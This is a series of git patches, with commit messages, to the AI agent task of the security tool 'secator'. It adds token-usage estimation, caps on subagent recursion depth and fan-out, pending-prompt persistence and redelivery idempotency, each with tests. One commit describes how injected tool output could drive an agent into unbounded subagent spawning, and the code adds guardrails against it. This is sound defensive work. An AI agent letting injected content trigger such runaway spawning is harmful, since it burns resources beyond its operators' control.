-239,6 +239,13 @@ def test_target_ask_for_unknown(self): self.assertEqual(result.decision, "ask") self.assertIn("10.5.2.3", result.targets) + def test_target_no_catchall_asks_not_allows(self): + """M6: with no target rule/catch-all configured, an unknown target must ask (fail-safe), not silently allow.""" + engine = self._make_engine(allow=["task(*)"]) # no target(...) rule in any category + result = engine.check_action({"action": "task", "name": "nmap", "targets": ["10.5.2.3"]}) + self.assertEqual(result.decision, "ask") + self.assertIn("10.5.2.3", result.targets) + def test_task_target_validation(self): engine = self._make_engine( allow=["task(*)", "target({targets})"], From b8dea9ab982e1628c3c70099ae9ab96bebce78e0 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 14:17:49 +0200 Subject: [PATCH 057/129] fix(ai): token-count fallback when LLM usage missing (M5) (#1247) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding — M5: Silent under-billing when \`usage\` absent (Medium / P2) \`call_llm\` in \`secator/ai/utils.py\` read \`response.usage\` only when present: \`\`\`python if hasattr(response, 'usage') and response.usage: ... response.usage.total_tokens ... \`\`\` If a provider/response omits \`usage\` (streaming, some models, error paths), the whole token-accounting block was skipped, \`usage\` stayed \`None\`, and downstream metering (the \`tokens\`/\`cost\` in \`tasks/ai.py\`) counted **0** — the LLM call was effectively free/unmetered, defeating billing and the token-quota guardrails. ## The gap \`secator/ai/utils.py:302\` (pre-fix line) — happy path only; no fallback branch. ## Fix - New \`else\` branch (happy path byte-for-byte unchanged): when \`response.usage\` is missing/empty, estimate tokens and populate the same \`usage\` dict shape. - Estimation uses **\`litellm.token_counter\`** (litellm 1.83.7, already used in \`secator/ai/history.py\`) — prompt tokens from the request \`messages\`, completion tokens from the response text (+ tool-call name/arguments). Failures degrade to 0 rather than raising. - Emits a \`Warning\` (\`console.print(Warning(...))\`, matching the existing pattern) noting usage was estimated, so it's observable; the call never fails. - Small local helper \`_estimate_usage(...)\` (DRY) — no signature changes to callers. ## Tests - \`tests/unit/test_ai_utils.py\`: **baseline 20 passed → after 20 passed**. The old \`test_call_llm_no_usage\` (asserted \`usage is None\`) is replaced by \`test_call_llm_no_usage_estimates_tokens\`, which mocks \`litellm.token_counter\` and asserts a non-zero estimated token count (prompt+completion) with \`cost=None\`. - \`test_ai_loop.py\` has 9 pre-existing, environmental failures (shfmt/safecmd parser missing on PATH — "shell command not approved"); identical before/after, not caused by this change. ## Extra findings (flagged, NOT fixed here) - **M4** \`secator/ai/utils.py:302\` — \`litellm.BadRequestError\` is in the \`retryable\` tuple, so non-transient 400s get retried 3×. (Next Lane C item.) - **M3** \`secator/tasks/ai.py:58-59,366\` + \`secator/ai/history.py:194-216\` — flat \`max_tokens_total\` trim ignores the model's actual context window. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/ai/utils.py | 41 +++++++++++++++++++++++++++++++++++++ tests/unit/test_ai_utils.py | 13 +++++++++--- 2 files changed, 51 insertions(+), 3 deletions(-) diff --git a/secator/ai/utils.py b/secator/ai/utils.py index ebbe1c3c2..2ba6ff50e 100644 --- a/secator/ai/utils.py +++ b/secator/ai/utils.py @@ -224,6 +224,41 @@ def log_success_event(self, kwargs, response_obj, start_time, end_time): _llm_initialized = True +def _estimate_usage(model: str, messages: List[Dict], content: str, tool_calls) -> Dict: + """M5: estimate tokens when the provider omits `usage`, so calls are never unmetered. + + Uses litellm's own token counter for the model in use — prompt tokens from the + request messages, completion tokens from the response text (+ any tool-call + name/arguments). Returns the same shape as the real-usage dict (cost unknown). + """ + import litellm + + def _count(**kw): + try: + return litellm.token_counter(model=model, **kw) or 0 + except Exception: + return 0 + + prompt_tokens = _count(messages=messages) + completion_text = content or "" + for tc in tool_calls or []: + fn = tc.get("function", {}) if isinstance(tc, dict) else getattr(tc, "function", None) + if isinstance(fn, dict): + name, args = fn.get("name", ""), fn.get("arguments", "") + elif fn is not None: + name, args = getattr(fn, "name", ""), getattr(fn, "arguments", "") + else: + name, args = "", "" + completion_text += f" {name} {args}" + completion_tokens = _count(text=completion_text) + return { + "tokens": prompt_tokens + completion_tokens, + "prompt_tokens": prompt_tokens, + "completion_tokens": completion_tokens, + "cost": None, + } + + def call_llm( messages: List[Dict], model: str, @@ -311,6 +346,12 @@ def call_llm( "completion_tokens": getattr(response.usage, "completion_tokens", None), "cost": cost, } + else: + # M5: usage missing/empty (streaming, some models) — estimate so the call + # is still metered instead of silently counting 0 tokens. + usage = _estimate_usage(model, kwargs["messages"], content, getattr(message, 'tool_calls', None)) + console.print(Warning( + message=f"LLM response missing usage; estimated ~{usage['tokens']} tokens for metering.")) # Get tool calls tool_calls = getattr(message, 'tool_calls', None) or [] diff --git a/tests/unit/test_ai_utils.py b/tests/unit/test_ai_utils.py index 4268b0b44..7f4821f52 100644 --- a/tests/unit/test_ai_utils.py +++ b/tests/unit/test_ai_utils.py @@ -82,15 +82,18 @@ def test_call_llm_basic(self, mock_cost, mock_completion): self.assertEqual(result["tool_calls"], []) mock_completion.assert_called_once() + @patch('litellm.token_counter') @patch('litellm.completion') - def test_call_llm_no_usage(self, mock_completion): - """Response without usage data.""" + def test_call_llm_no_usage_estimates_tokens(self, mock_completion, mock_token_counter): + """M5: response without usage still yields a non-zero estimated token count.""" mock_response = MagicMock() mock_response.choices = [MagicMock()] mock_response.choices[0].message.content = "Response" mock_response.choices[0].message.tool_calls = None mock_response.usage = None mock_completion.return_value = mock_response + # prompt (messages=...) then completion (text=...) + mock_token_counter.side_effect = [42, 8] from secator.ai.utils import call_llm result = call_llm( @@ -99,7 +102,11 @@ def test_call_llm_no_usage(self, mock_completion): ) self.assertEqual(result["content"], "Response") - self.assertIsNone(result["usage"]) + self.assertIsNotNone(result["usage"]) + self.assertEqual(result["usage"]["tokens"], 50) + self.assertEqual(result["usage"]["prompt_tokens"], 42) + self.assertEqual(result["usage"]["completion_tokens"], 8) + self.assertIsNone(result["usage"]["cost"]) self.assertEqual(result["tool_calls"], []) @patch('litellm.completion') From 51f36035d7c1c7acd7efee1da67a409e2f40a896 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 14:17:52 +0200 Subject: [PATCH 058/129] fix(ai): cap subagent recursion depth & per-turn fan-out (H4) (#1248) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding — H4: Unbounded recursive subagent fan-out (High / P1) The AI task spawns child runners in-process (`_run_runner`). An AI child can itself spawn more AI children, with **no recursion depth cap, no per-turn breadth cap, and no cycle guard**. Malicious/injected tool output can therefore drive exponential subagent/token blow-up until the 3h Job deadline, burning tokens. ## Where context flows to the child `_run_runner` builds `context = _get_result_context(action, ctx)` (`secator/ai/actions.py:486`) — a fresh copy of `ctx.context` — and passes it straight into the child: `runner_cls(tpl, targets, run_opts=run_opts, hooks=hooks, context=context)` (`secator/ai/actions.py:550`). A spawned AI child's `_run_loop` reads that dict back as `ctx.context`, so the recursion state rides through `context`. ## Fix — two caps, reusing the C1 guard region/style New `_guard_subagent_fanout(ctx, context)` next to the existing `_sanitize_child_opts` / `_MAX_CHILD_ITERATIONS` guards, called only on the AI-subagent spawn path (`runner_type == "task" and name.lower() == "ai"`) so normal multi-tool batches are unaffected: - **Depth cap** — `_MAX_SUBAGENT_DEPTH = 3`. Read `context['ai_subagent_depth']` (0 if unset); refuse at/over the cap; otherwise stamp the child's copy with `depth + 1` so it inherits the level. - **Per-turn breadth cap** — `_MAX_SUBAGENTS_PER_TURN = 5`, counted in `context['ai_subagent_turn_count']`, reset to 0 at the top of `_run_batch` (one LLM turn) and only enforced when `ctx.in_batch` (a lone spawn is inherently breadth-1). Increment is guarded by a `threading.Lock` since a batch runs subagents concurrently. New `ActionContext.in_batch` flag set on the per-batch `ctx`. ## Denial shape reused On a cap hit the guard returns a denial `Warning(message=..., _context=context)`; `_run_runner` yields it and `return`s (no spawn), matching how guardrail denials are surfaced — the `Warning` is collected and fed back to the LLM as that tool call's result. No unhandled exception, so the parent turn never crashes. ## Tests Baseline `tests/unit/test_ai_actions.py`: **61 passed**. After: **64 passed** (+3). New `TestSubagentFanoutCap`: depth-cap refusal, per-turn breadth-cap refusal, and a normal depth-0→1 spawn still succeeding (child context carries `ai_subagent_depth == 1`). ## Extra findings (not fixed here) - **Token/quota accounting is not inherited by children.** A spawned AI child gets its own `_run_loop` token counters (`self.context['ai_tokens']` etc.); the parent does not aggregate a child's spend, so caps bound *fan-out* but not total cross-tree token cost. - **Sibling context aliasing in batches.** Within `_run_batch`, all concurrent `run_single` calls share the same `ctx.context` dict object (via `replace`, shallow copy); `_run_runner` copies it per child, but the shared per-turn counter is mutated concurrently (handled here with a lock — flagging the broader aliasing pattern). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/ai/actions.py | 48 +++++++++++++++++++++++- tests/unit/test_ai_actions.py | 70 ++++++++++++++++++++++++++++++++++- 2 files changed, 116 insertions(+), 2 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 5ba62bb3f..acd969519 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -2,6 +2,7 @@ import json import os import subprocess +import threading import uuid from concurrent.futures import ThreadPoolExecutor, as_completed from dataclasses import dataclass, field, fields @@ -34,6 +35,7 @@ class ActionContext: scope: str = "workspace" results: Optional[List[Dict]] = None max_workers: int = 3 + in_batch: bool = False # H4: set on the per-batch ctx so the per-turn fan-out cap applies subagent: bool = False silent: bool = False sync: bool = True @@ -411,6 +413,42 @@ def _is_heavy_runner(runner_type: str, name: str, opts: dict = None) -> bool: # Cap a spawned subagent's iteration budget so it can't be told to loop unbounded. _MAX_CHILD_ITERATIONS = 25 +# H4: bound recursive AI-subagent fan-out so injected output can't drive an +# exponential subagent/token blow-up. Depth caps recursion (child inherits +1 via +# context); breadth caps how many subagents one parent turn may spawn. +_MAX_SUBAGENT_DEPTH = 3 +_MAX_SUBAGENTS_PER_TURN = 5 +_SUBAGENT_TURN_LOCK = threading.Lock() + + +def _guard_subagent_fanout(ctx: "ActionContext", context: Dict) -> Optional["Warning"]: + """H4: cap AI-subagent recursion depth + per-turn fan-out. + + Returns a denial ``Warning`` if a cap is hit (caller yields it and skips the + spawn); otherwise stamps the child's depth (+1) into ``context`` and bumps the + per-turn counter. Breadth is only counted within a batch (one LLM turn); a + lone spawn is inherently breadth-1. + """ + depth = int(ctx.context.get("ai_subagent_depth", 0) or 0) + if depth >= _MAX_SUBAGENT_DEPTH: + return Warning( + message=f"Subagent spawn denied: recursion depth cap ({_MAX_SUBAGENT_DEPTH}) reached", + _context=context, + ) + if ctx.in_batch: # per-turn breadth only bites within a batch + with _SUBAGENT_TURN_LOCK: + turn = int(ctx.context.get("ai_subagent_turn_count", 0) or 0) + over_breadth = turn >= _MAX_SUBAGENTS_PER_TURN + if not over_breadth: + ctx.context["ai_subagent_turn_count"] = turn + 1 + if over_breadth: + return Warning( + message=f"Subagent spawn denied: per-turn fan-out cap ({_MAX_SUBAGENTS_PER_TURN}) reached", + _context=context, + ) + context["ai_subagent_depth"] = depth + 1 # child inherits depth+1 + return None + def _sanitize_child_opts(opts: Any) -> Dict: """Drop LLM-settable control/security keys from sub-runner opts; clamp max_iterations.""" @@ -449,6 +487,11 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator # Force subagent flags when spawning an AI task from a parent AI task if runner_type == "task" and name.lower() == "ai": + # H4: bound recursive fan-out before constructing/running the child + denial = _guard_subagent_fanout(ctx, context) + if denial is not None: + yield denial + return opts["subagent"] = True opts["interactive"] = False @@ -907,8 +950,11 @@ def _run_batch(actions: List[Dict], ctx: ActionContext) -> Generator: max_workers = ctx.max_workers or 3 + # H4: fresh per-turn subagent fan-out budget for this batch (one LLM turn) + ctx.context["ai_subagent_turn_count"] = 0 + # Silence console output for parallel tasks to avoid interleaved printing - batch_ctx = replace(ctx, silent=True) + batch_ctx = replace(ctx, silent=True, in_batch=True) # Skip Rich progress panel when we are a subagent, or when the batch # contains an AI subagent task (its output conflicts with the Live display) diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 35b9b7d4f..54449b74b 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -11,7 +11,7 @@ ActionContext, dispatch_action, _handle_follow_up, _handle_shell, _handle_query, _handle_add_finding, _run_runner, _decrypt_dict, _build_hooks_from_context, _coerce_finding_fields, _sanitize_child_opts, - _MAX_CHILD_ITERATIONS + _MAX_CHILD_ITERATIONS, _MAX_SUBAGENT_DEPTH, _MAX_SUBAGENTS_PER_TURN, ) from secator.output_types import Ai, Error, Info, Warning, Vulnerability, Url @@ -1003,5 +1003,73 @@ def test_unresolved_after_max_rounds_denies(self): self.assertIn("unresolved", denial) +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestSubagentFanoutCap(unittest.TestCase): + """H4: recursion depth + per-turn fan-out caps on AI-subagent spawns.""" + + def _mock_task(self, mock_task_cls): + runner = MagicMock() + runner.id = 'runner123' + runner.reports_folder = None + runner.__iter__.return_value = iter([]) + mock_task_cls.return_value = runner + return runner + + def test_depth_cap_refuses_spawn(self): + """Spawning an AI subagent at/over _MAX_SUBAGENT_DEPTH is denied.""" + ctx = ActionContext( + targets=['t.com'], model='m', + context={'ai_subagent_depth': _MAX_SUBAGENT_DEPTH}, + ) + action = {'action': 'task', 'name': 'ai', 'targets': ['t.com']} + + with patch('secator.ai.actions.Task') as mock_task_cls: + results = list(_run_runner(action, ctx, 'task')) + + mock_task_cls.assert_not_called() # denied before constructing the child + self.assertEqual(len(results), 1) + self.assertIsInstance(results[0], Warning) + self.assertIn('depth cap', results[0].message) + # no Ai task item emitted (spawn refused) + self.assertFalse([r for r in results if isinstance(r, Ai) and r.ai_type == 'task']) + + def test_per_turn_breadth_cap_refuses_spawn(self): + """In a batch, spawning past _MAX_SUBAGENTS_PER_TURN is denied.""" + ctx = ActionContext( + targets=['t.com'], model='m', in_batch=True, + context={'ai_subagent_turn_count': _MAX_SUBAGENTS_PER_TURN}, + ) + action = {'action': 'task', 'name': 'ai', 'targets': ['t.com']} + + with patch('secator.ai.actions.Task') as mock_task_cls: + results = list(_run_runner(action, ctx, 'task')) + + mock_task_cls.assert_not_called() + self.assertEqual(len(results), 1) + self.assertIsInstance(results[0], Warning) + self.assertIn('fan-out cap', results[0].message) + + @patch('secator.ai.actions.TemplateLoader') + @patch('secator.ai.actions.Task') + @patch('secator.ai.actions._build_hooks_from_context') + def test_normal_depth1_spawn_succeeds(self, mock_build_hooks, mock_task_cls, _mock_tpl): + """A first-level AI subagent (depth 0 -> 1) still spawns; child inherits depth+1.""" + mock_build_hooks.return_value = {} + self._mock_task(mock_task_cls) + + ctx = ActionContext(targets=['t.com'], model='m', context={}) # depth 0, not in a batch + action = {'action': 'task', 'name': 'ai', 'targets': ['t.com']} + + results = list(_run_runner(action, ctx, 'task')) + + mock_task_cls.assert_called_once() + ai_items = [r for r in results if isinstance(r, Ai) and r.ai_type == 'task'] + self.assertEqual(len(ai_items), 1) + self.assertFalse([r for r in results if isinstance(r, Warning)]) + # child context carries incremented depth + _, kwargs = mock_task_cls.call_args + self.assertEqual(kwargs.get('context', {}).get('ai_subagent_depth'), 1) + + if __name__ == '__main__': unittest.main() From 52744e987c2dec048e0a83f550d2b5feeead261a Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 14:17:56 +0200 Subject: [PATCH 059/129] fix(ai): cover plain-chat & max-iter remote turns with pending docs (H5) (#1249) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding — H5 (High / P2, Reliability) Common remote turns that are NOT a guardrail/follow-up question — an ordinary chat reply, or the max-iterations exit — entered the poll/wait with `prompt_uuid=None` and persisted **no** `pending` Ai doc. Consequences: the frontend had nothing to render/answer, and with no (or a `None`-keyed) pending doc the resume/redelivery path could strand the user or trigger a stale re-run. ## The `None`-prompt_uuid paths (before) - `secator/tasks/ai.py:464` — `_prompt_and_redetect(follow_up_choices or [], prompt_uuid=follow_up_prompt_uuid)`: for a plain-chat reply (`not tool_calls`) and for `iteration == self.max_iterations`, `follow_up_prompt_uuid` is `None` and no pending doc was persisted. - `secator/tasks/ai.py:1029` — `_prompt_and_redetect` → `self.backend.ask_user(..., prompt_type="follow_up", prompt_uuid=None)` → `RemoteBackend._poll_for_answer(session_id, "follow_up", prompt_uuid=None)` (`secator/ai/interactivity.py:133/149`): unscoped poll, no doc for the UI to answer. The guardrail/follow-up path already persists a `pending` doc + real `prompt_uuid` in `_dispatch_and_collect` (`ai.py:867-879`) and is left unchanged. ## Fix (per path) - **Plain-chat remote turn** (`_prompt_and_redetect`): when the backend is remote and no `prompt_uuid` was passed, generate one and persist a `pending` `follow_up` doc via `RemoteBackend.build_pending_prompt` (DRY — same helper the permission path uses), then poll scoped to that uuid. Never polls on `None`. Local (CLI) backend is untouched — pending docs stay a remote-driver concern. - **Max-iter terminal path** (`_run_loop`): remote + `iteration == max_iterations` + no follow-up + tool work now `break`s out to the terminal tail (save + "reached max iterations") instead of block-polling on an unanswerable doc, so no dangling `pending` doc is stranded. M10 (timeout/GC/answered-search) and H7 (prompt_uuid correlation) helpers are reused, not reimplemented. No new status strings. ## Tests `tests/unit/test_ai_interactivity.py`: **26 → 29 passed** (3 new). - plain-chat remote turn persists exactly one `pending` doc with a non-None `prompt_uuid` and polls scoped to it; - local plain-chat persists no pending doc; - remote max-iter neither prompts/polls nor strands a pending doc, and ends via the terminal tail. Broader `tests/unit/test_ai_loop.py` shows 9 pre-existing failures (safecmd/shfmt parser missing in this env) — identical with the branch stashed, not regressions from this change. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/tasks/ai.py | 21 ++++ tests/unit/test_ai_interactivity.py | 166 ++++++++++++++++++++++++++++ 2 files changed, 187 insertions(+) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 052876277..19443972c 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -461,6 +461,14 @@ def _run_loop(self) -> Generator: # only happen once). Nothing to re-yield here — the frontend reads the # persisted doc. + # H5: remote max-iter after tool work is a terminal turn (no further + # user input expected) — don't block-poll on prompt_uuid=None with no + # answerable pending doc; end cleanly via the loop tail (save + Info). + if (isinstance(self.backend, RemoteBackend) + and iteration == self.max_iterations + and follow_up_choices is None and tool_calls): + break + result = self._prompt_and_redetect(follow_up_choices or [], prompt_uuid=follow_up_prompt_uuid) if result is None: self._save_history() @@ -1026,6 +1034,19 @@ def _prompt_and_redetect(self, choices, prompt_uuid=None): Returns list of items to yield, or None to exit. """ + # H5: plain-chat remote turns reach here with no pre-persisted pending doc + # (unlike the guardrail/follow-up path). Persist one now with a real + # prompt_uuid so the frontend can render/answer it and the poll matches only + # this prompt — never poll on prompt_uuid=None. + if isinstance(self.backend, RemoteBackend) and not prompt_uuid: + prompt_uuid = str(uuid.uuid4()) + self.add_result(self.backend.build_pending_prompt( + question="What's next?", + choices=choices, + session_id=self.session_id, + prompt_type="follow_up", + prompt_uuid=prompt_uuid, + )) response = self.backend.ask_user( question="What's next?", choices=choices, diff --git a/tests/unit/test_ai_interactivity.py b/tests/unit/test_ai_interactivity.py index 8eea0fb92..9e3df09c2 100644 --- a/tests/unit/test_ai_interactivity.py +++ b/tests/unit/test_ai_interactivity.py @@ -2,6 +2,9 @@ import unittest from unittest.mock import MagicMock, patch +from secator.definitions import ADDONS_ENABLED +HAS_AI = ADDONS_ENABLED.get('ai', False) + class TestInteractivityBackendBase(unittest.TestCase): """Verify base class interface.""" @@ -309,5 +312,168 @@ def test_unknown_returns_auto(self): self.assertIsInstance(backend, AutoBackend) +@unittest.skipUnless(HAS_AI, "ai addon required") +class TestRemoteTurnPendingDocCoverage(unittest.TestCase): + """H5: common remote turns (plain-chat reply, max-iter exit) must not poll on + prompt_uuid=None. Plain-chat must persist a proper pending doc and poll on its + real uuid; the max-iter terminal path must not strand a dangling pending doc.""" + + class _FakeHistory: + def add_user(self, *a, **k): + pass + + def count_tokens_by_role(self, model=None): + return {"total": 0} + + def to_messages(self, *a, **k): + return [] + + def test_plain_chat_remote_persists_pending_doc_and_polls_on_uuid(self): + """A plain-chat remote turn persists a pending follow_up doc with a + non-None prompt_uuid and polls scoped to THAT uuid (never None).""" + from secator.tasks.ai import ai as AiTask + from secator.ai.interactivity import RemoteBackend + from secator.output_types import Ai + + mock_engine = MagicMock() + mock_engine.search.return_value = [{"answer": "keep going", "_timestamp": 1.0}] + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + + persisted = [] + fake_self = MagicMock() + fake_self.backend = backend + fake_self.session_id = "sess-chat" + fake_self.model = "gpt-4o" + fake_self.mode = "chat" + fake_self.encryptor = None + fake_self.max_iterations = 10 + fake_self.history = self._FakeHistory() + fake_self.add_result = lambda item, **kw: persisted.append(item) + + # plain-chat turn: no prompt_uuid passed in (this is the H5 path) + items = AiTask._prompt_and_redetect(fake_self, []) + + pend = [p for p in persisted if isinstance(p, Ai) and p.status == "pending"] + self.assertEqual(len(pend), 1, "exactly one pending doc must be persisted") + uuid_stamped = (pend[0].extra_data or {}).get("prompt_uuid") + self.assertTrue(uuid_stamped, "pending doc must carry a real (non-None) prompt_uuid") + self.assertEqual(pend[0].ai_type, "follow_up") + + # the poll must be scoped to THAT prompt's uuid — never None + search_query = mock_engine.search.call_args[0][0] + self.assertEqual(search_query.get("extra_data.prompt_uuid"), uuid_stamped) + # the answer resolved, so the loop continues (non-None items) rather than exiting + self.assertIsNotNone(items) + + def test_local_plain_chat_does_not_persist_pending_doc(self): + """Local (CLI) plain-chat must NOT create a pending doc — that is a + remote-channel concern only.""" + from secator.tasks.ai import ai as AiTask + from secator.ai.interactivity import CLIBackend + from secator.output_types import Ai + + backend = MagicMock(spec=CLIBackend) + backend.ask_user.return_value = {"answer": "do x"} + + persisted = [] + fake_self = MagicMock() + fake_self.backend = backend + fake_self.session_id = "sess-local" + fake_self.model = "gpt-4o" + fake_self.mode = "chat" + fake_self.encryptor = None + fake_self.max_iterations = 10 + fake_self.history = self._FakeHistory() + fake_self.add_result = lambda item, **kw: persisted.append(item) + + AiTask._prompt_and_redetect(fake_self, []) + + pend = [p for p in persisted if isinstance(p, Ai) and p.status == "pending"] + self.assertEqual(pend, [], "local backend must not persist a pending doc") + + @patch("secator.query.QueryEngine") + @patch("secator.tasks.ai.init_llm") + @patch("secator.tasks.ai.call_llm") + def test_remote_max_iter_does_not_strand_pending_doc(self, mock_call_llm, mock_init, mock_qe_cls): + """At remote max-iter after tool work, the loop ends cleanly: it does not + enter the follow-up poll and does not persist a dangling pending doc.""" + from secator.tasks.ai import ai as AiTask + from secator.ai.interactivity import RemoteBackend + from secator.output_types import Ai, Info + + mock_call_llm.return_value = { + "content": "working", "tool_calls": [object()], "usage": {"tokens": 100, "cost": 0.001}, + } + + persisted = [] + prompt_calls = [] + backend = RemoteBackend(timeout=60, query_engine=MagicMock(), poll_interval=0.01) + + fake_self = MagicMock() + fake_self.backend = backend + fake_self.session_id = "sess-max" + fake_self.model = "gpt-4o" + fake_self.mode = "chat" + fake_self.max_iterations = 1 + fake_self.interactive = "remote" + fake_self.is_subagent = False + fake_self.inputs = [] + fake_self.context = {} + fake_self.scope = "workspace" + fake_self.results = [] + fake_self.max_workers = 3 + fake_self.encryptor = None + fake_self.dry_run = False + fake_self.verbose = False + fake_self._sync = False + fake_self.temp = 0.7 + fake_self.api_base = "" + fake_self.api_key = "" + fake_self.tool_schemas = [] + fake_self.max_tokens_total = 100000 + fake_self.permission_engine = MagicMock() + fake_self.history = self._FakeHistory() + fake_self.add_result = lambda item, **kw: persisted.append(item) + + def _empty_gen(*a, **k): + return + yield # pragma: no cover - make it a generator + + fake_self._summarize_auto = _empty_gen + fake_self._summarize_user = _empty_gen + fake_self._drain_history_usage = lambda: None + fake_self._account_usage = lambda u: None + fake_self._add_assistant_to_history = lambda c, t: None + fake_self._save_history = lambda: None + + def _fake_process(tool_calls, ctx): + return [{"action": "shell", "tool_call_id": "t", "tool_call_name": "run_shell"}] + yield # pragma: no cover + + fake_self._process_tool_calls = _fake_process + + def _fake_dispatch(actions, ctx): + return {"follow_up_choices": None, "stop_reason": None, "follow_up_prompt_uuid": None} + yield # pragma: no cover + + fake_self._dispatch_and_collect = _fake_dispatch + + def _track_prompt(choices, prompt_uuid=None): + prompt_calls.append((choices, prompt_uuid)) + return [] + + fake_self._prompt_and_redetect = _track_prompt + + items = list(AiTask._run_loop(fake_self)) + + self.assertEqual(prompt_calls, [], "remote max-iter must not enter the follow-up poll") + pend = [p for p in persisted if isinstance(p, Ai) and getattr(p, "status", None) == "pending"] + self.assertEqual(pend, [], "remote max-iter must not persist a dangling pending doc") + self.assertTrue( + any(isinstance(it, Info) and "max iterations" in it.message.lower() for it in items), + "loop must end via the terminal 'reached max iterations' tail", + ) + + if __name__ == "__main__": unittest.main() From 79a7bfae948a74ebeea0806dc5390f0fa7a5ed2f Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 14:43:06 +0200 Subject: [PATCH 060/129] fix(ai): idempotency marker stops Celery redelivery replay (C3) (#1254) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding — C3 (CRITICAL / P2, Reliability) The AI Celery task uses `acks_late`, so a worker crash/restart redelivers the same message. On the remote resume path `_maybe_resume_remote` restored history and re-ran `_run_loop` with **no idempotency marker**, so a duplicate delivery replayed the ENTIRE turn: tool actions ran again (side effects), findings were re-emitted, and tokens were re-billed — nothing to dedupe on. ## Turn id chosen — `celery_id` `run_command` (`secator/celery.py:316`) stamps `context['celery_id'] = self.request.id` onto the runner context, and that id is **stable across `acks_late` worker-loss redeliveries** (documented at `celery.py:227`) while being unique per turn dispatch. It therefore uniquely and idempotently names THIS delivery's turn. `session_id` names the whole conversation (many turns), so it is not a per-turn id; the incoming user message carries no UI-supplied uuid. Read via `_turn_uuid()`. ## Marker persistence A `turn_completed` `Ai` doc persisted through the **existing** workspace `_type:"ai"` channel (`add_result`, `print=False`) — no new Mongo collection. `restore_history_from_db` only rebuilds `prompt`/`response` turns, so this ai_type is skipped and never pollutes the transcript. Stamped with `extra_data.turn_uuid = celery_id` + `session_id`, mirroring the proven H7 `extra_data.prompt_uuid` query pattern. ## Short-circuit point `_maybe_resume_remote` in `secator/tasks/ai.py` (guard added right after the backend-name check, ~line 258): if `_turn_completed_marker(turn_uuid, query_engine)` finds a marker, it `debug`-logs and `return True` (benign no-op) **without** restoring history or running `_run_loop` — no re-run, no re-bill. The marker is set via `_mark_turn_completed()` **after** each remote `_run_loop` returns (the fresh-turn call in `yielder` and the resume call in `_maybe_resume_remote`), so a real mid-turn crash leaves no marker and the incomplete turn still resumes and finishes. Local/non-remote path is unaffected (the helper no-ops off `interactive == "remote"`). ## Tests (baseline vs after) Same command, `test_ai_interactivity.py + test_ai_loop.py + test_ai_session.py`: - Baseline: **11 failed, 67 passed** - After: **11 failed, 70 passed** (identical failing set; +3 new tests) The 11 pre-existing failures are unrelated: guardrails allow-list not matching in this env, and two stale `TestRemoteResumeBranch`/`TestRestoreHistoryFromDB` tests that still query `session_id` while the branch's H7 code queries `_context.session_id`. New tests (`TestTurnIdempotency`): - `test_completed_turn_short_circuits_without_replay` — marker present → `_run_loop` not called, `restore_history_from_db` not called, `ai_tokens` stays 0. - `test_incomplete_turn_still_resumes` — no marker → restores and runs `_run_loop` once. - `test_mark_turn_completed_persists_marker` — persists one `turn_completed` Ai stamped with the celery_id turn_uuid + session_id; no-op on the local channel. ## Follow-up Turn-level guard only. Fully-safe idempotency for a turn that crashes **mid-tool-execution** needs per-tool-action markers (dedupe each dispatched action / billed call) — flagged as a follow-up, out of scope here to keep the change surgical. ## Extra findings (flagged, not fixed) - **H3** — `RemoteBackend._poll_for_answer` (`secator/ai/interactivity.py:149-190`) blocks a worker slot for up to `timeout` (default 600s) busy-polling for a web answer, pinning a prefork worker for the whole wait. - Resume double-persist smell — the fresh-turn user prompt is appended + yielded in `_maybe_resume_remote` (`ai.py:289-291`); combined with restore ordering this is a candidate spot for duplicate `prompt` docs on odd redelivery timing (not observed, worth a look alongside per-action idempotency). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/tasks/ai.py | 60 +++++++++++++++++++ tests/unit/test_ai_session.py | 108 ++++++++++++++++++++++++++++++++++ 2 files changed, 168 insertions(+) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 19443972c..57060f244 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -218,6 +218,7 @@ def yielder(self) -> Generator: # Run loop yield from self._run_loop() + self._mark_turn_completed() # C3: record this turn as done so a redelivery won't replay it # ------------------------------------------------------------------------- # Remote (web) session restore @@ -254,6 +255,16 @@ def _maybe_resume_remote(self): '`mongodb` driver is in the runner context.' ) + # C3: skip replay of an already-completed turn. acks_late can redeliver + # this exact message (same celery_id) after a worker crash; without an + # idempotency marker the resume path would re-run every tool action and + # re-bill tokens. If this turn already completed, short-circuit instead of + # replaying _run_loop. + turn_uuid = self._turn_uuid() + if turn_uuid and self._turn_completed_marker(turn_uuid, query_engine): + self.debug(f'C3 idempotency: turn {turn_uuid} already completed; skipping replay', sub='llm') + return True + # Look for prior `_type:"ai"` docs for this session try: prior = query_engine.search({"_type": "ai", "_context.session_id": self.session_id}, limit=1) @@ -292,6 +303,7 @@ def 